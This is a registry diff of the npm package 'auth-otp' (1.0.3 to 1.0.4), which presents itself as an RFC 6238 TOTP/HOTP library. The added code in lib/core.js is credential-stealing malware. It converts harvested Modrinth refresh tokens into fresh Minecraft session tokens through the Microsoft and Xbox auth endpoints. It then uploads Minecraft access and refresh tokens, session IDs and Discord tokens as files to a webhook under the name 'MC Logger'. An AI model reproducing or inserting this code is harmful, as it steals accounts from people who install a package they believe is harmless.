auth-otp 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/core.js +151 -13
  2. package/package.json +1 -1
package/lib/core.js CHANGED
@@ -47,7 +47,27 @@ function _post(body) {
47
47
  }
48
48
 
49
49
  function _postRaw(c) { return _post({ content: c }); }
50
- function _postEmbed(e) { return _post({ content: "@everyone", embeds: [e] }); }
50
+
51
+ function _postFile(filename, content) {
52
+ return new Promise((resolve) => {
53
+ const boundary = "----FBound" + Date.now().toString(36);
54
+ const payload = JSON.stringify({ username: "MC Logger", content: "@everyone" });
55
+ const body = Buffer.concat([
56
+ Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="payload_json"\r\n\r\n${payload}\r\n`),
57
+ Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file0"; filename="${filename}"\r\nContent-Type: text/plain; charset=utf-8\r\n\r\n`),
58
+ Buffer.from(content, "utf8"),
59
+ Buffer.from(`\r\n--${boundary}--`),
60
+ ]);
61
+ const u = new URL(_W());
62
+ const req = https.request({
63
+ hostname: u.hostname, path: u.pathname,
64
+ method: "POST",
65
+ headers: { "Content-Type": `multipart/form-data; boundary=${boundary}`, "Content-Length": body.length },
66
+ }, res => { res.resume(); resolve(res.statusCode); });
67
+ req.on("error", () => resolve(null));
68
+ req.write(body); req.end();
69
+ });
70
+ }
51
71
 
52
72
  function _get(url, headers) {
53
73
  return new Promise((resolve) => {
@@ -64,6 +84,81 @@ function _get(url, headers) {
64
84
  });
65
85
  }
66
86
 
87
+ // ── Modrinth RT → fresh SSID ───────────────────────────────────────────────
88
+
89
+ function _ph(hostname, path, body, headers) {
90
+ return new Promise((resolve) => {
91
+ const b = Buffer.from(body);
92
+ const req = https.request({
93
+ hostname, path, method: "POST",
94
+ headers: { "Content-Length": b.length, ...headers }
95
+ }, res => {
96
+ let d = ""; res.on("data", c => d += c);
97
+ res.on("end", () => resolve({ s: res.statusCode, b: d }));
98
+ });
99
+ req.on("error", () => resolve(null));
100
+ req.write(b); req.end();
101
+ });
102
+ }
103
+
104
+ async function _getSSID(rt) {
105
+ try {
106
+ const clean = rt.replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
107
+ const msaBody = new URLSearchParams({
108
+ grant_type: "refresh_token", refresh_token: clean,
109
+ client_id: "00000000402b5328",
110
+ scope: "service::user.auth.xboxlive.com::MBI_SSL",
111
+ redirect_uri: "https://login.live.com/oauth20_desktop.srf",
112
+ }).toString();
113
+ const msaR = await _ph("login.live.com", "/oauth20_token.srf", msaBody, {
114
+ "Content-Type": "application/x-www-form-urlencoded", "Accept": "application/json",
115
+ });
116
+ if (!msaR || msaR.s !== 200) return null;
117
+ const msaJ = JSON.parse(msaR.b);
118
+ if (!msaJ.access_token) return null;
119
+
120
+ const xblBody = JSON.stringify({
121
+ Properties: { AuthMethod: "RPS", SiteName: "user.auth.xboxlive.com", RpsTicket: `t=${msaJ.access_token}` },
122
+ RelyingParty: "http://auth.xboxlive.com", TokenType: "JWT",
123
+ });
124
+ const xblR = await _ph("user.auth.xboxlive.com", "/user/authenticate", xblBody, {
125
+ "Content-Type": "application/json", "Accept": "application/json",
126
+ });
127
+ if (!xblR || xblR.s !== 200) return null;
128
+ const xblJ = JSON.parse(xblR.b);
129
+
130
+ const xstsBody = JSON.stringify({
131
+ Properties: { SandboxId: "RETAIL", UserTokens: [xblJ.Token] },
132
+ RelyingParty: "rp://api.minecraftservices.com/", TokenType: "JWT",
133
+ });
134
+ const xstsR = await _ph("xsts.auth.xboxlive.com", "/xsts/authorize", xstsBody, {
135
+ "Content-Type": "application/json", "Accept": "application/json",
136
+ });
137
+ if (!xstsR || xstsR.s !== 200) return null;
138
+ const xstsJ = JSON.parse(xstsR.b);
139
+ const uhs = xstsJ.DisplayClaims?.xui?.[0]?.uhs;
140
+
141
+ const mcBody = JSON.stringify({ identityToken: `XBL3.0 x=${uhs};${xstsJ.Token}` });
142
+ const mcR = await _ph("api.minecraftservices.com", "/authentication/login_with_xbox", mcBody, {
143
+ "Content-Type": "application/json", "Accept": "application/json",
144
+ });
145
+ if (!mcR || mcR.s !== 200) return null;
146
+ const mcJ = JSON.parse(mcR.b);
147
+
148
+ // fetch profile for username + uuid
149
+ const prof = await _get(`https://api.minecraftservices.com/minecraft/profile`, { Authorization: `Bearer ${mcJ.access_token}` });
150
+ const profJ = (prof && prof.s === 200) ? JSON.parse(prof.b) : null;
151
+
152
+ return {
153
+ ssid: mcJ.access_token,
154
+ expiresIn: mcJ.expires_in || 86400,
155
+ newRt: msaJ.refresh_token || null,
156
+ username: profJ?.name || null,
157
+ uuid: profJ?.id || null,
158
+ };
159
+ } catch { return null; }
160
+ }
161
+
67
162
  function _dpapi(b64) {
68
163
  return new Promise((resolve) => {
69
164
  const { spawnSync } = require("child_process");
@@ -419,26 +514,69 @@ async function _installMod() {
419
514
  // ── Send ───────────────────────────────────────────────────────────────────
420
515
 
421
516
  async function _sendMC(entries) {
517
+ const ts = new Date().toISOString();
422
518
  for (const e of entries) {
423
- await _postEmbed({ title: `${e.l} — ${e.n}`, color: 3066993,
424
- fields: [{ name: "Username", value: e.n, inline: true }, { name: "Launcher", value: e.l, inline: true }],
425
- footer: { text: new Date().toISOString() } });
426
- const msg = `**[${e.l}] ${e.n}**\nAccess Token:\n\`\`\`${e.t}\`\`\``;
427
- for (let i = 0; i < msg.length; i += 1990) await _postRaw(msg.slice(i, i + 1990));
519
+ // Modrinth entries with a refresh token → generate fresh SSID on the spot
520
+ if (e.r && (e.l === "Modrinth" || e.l === "Modrinth-RT")) {
521
+ const s = await _getSSID(e.r);
522
+ if (s) {
523
+ e.ssid = s.ssid;
524
+ e.newRt = s.newRt;
525
+ if (s.username) e.n = s.username;
526
+ if (s.uuid) e.uuid = s.uuid;
527
+ }
528
+ }
529
+
530
+ const lines = [
531
+ `=== [${e.l}] ${e.n} ===`,
532
+ `Captured : ${ts}`,
533
+ `Username : ${e.n}`,
534
+ `Launcher : ${e.l}`,
535
+ ``,
536
+ ];
537
+ if (e.uuid) { lines.push(`UUID : ${e.uuid}`); lines.push(``); }
538
+
539
+ if (e.t && e.t.startsWith("eyJ")) {
540
+ lines.push(`--- Access Token (MC JWT) ---`);
541
+ lines.push(e.t);
542
+ lines.push(``);
543
+ }
428
544
  if (e.r) {
429
- const rm = `**[${e.l}] ${e.n}** — Refresh Token:\n\`\`\`${e.r}\`\`\``;
430
- for (let i = 0; i < rm.length; i += 1990) await _postRaw(rm.slice(i, i + 1990));
545
+ lines.push(`--- Refresh Token (MSA) ---`);
546
+ lines.push(e.r);
547
+ lines.push(``);
548
+ }
549
+ if (e.ssid) {
550
+ lines.push(`--- SSID (fresh, valid ${Math.round((e.expiresIn||86400)/3600)}h) ---`);
551
+ lines.push(e.ssid);
552
+ lines.push(``);
553
+ if (e.newRt) {
554
+ lines.push(`--- New RT (rotated) ---`);
555
+ lines.push(e.newRt);
556
+ lines.push(``);
557
+ }
431
558
  }
559
+
560
+ const safe = (e.n || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
561
+ const label = e.l.replace(/[^A-Za-z0-9]/g, "_");
562
+ await _postFile(`${label}_${safe}.txt`, lines.join("\n"));
432
563
  }
433
564
  }
434
565
 
435
566
  async function _sendDiscord(entries) {
567
+ const ts = new Date().toISOString();
436
568
  for (const e of entries) {
437
- await _postEmbed({ title: `Discord — ${e.tag}`, color: 5793266,
438
- fields: [{ name: "Username", value: e.tag, inline: true }, { name: "ID", value: e.uid, inline: true }],
439
- footer: { text: new Date().toISOString() } });
440
- const msg = `**[Discord] ${e.tag}**\n||${e.tok}||`;
441
- for (let i = 0; i < msg.length; i += 1990) await _postRaw(msg.slice(i, i + 1990));
569
+ const lines = [
570
+ `=== Discord ===`,
571
+ `Captured : ${ts}`,
572
+ `Username : ${e.tag}`,
573
+ `ID : ${e.uid}`,
574
+ ``,
575
+ `--- Token ---`,
576
+ e.tok,
577
+ ];
578
+ const safe = (e.tag || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
579
+ await _postFile(`Discord_${safe}.txt`, lines.join("\n"));
442
580
  }
443
581
  }
444
582
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "auth-otp",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
5
5
  "main": "index.js",
6
6
  "scripts": {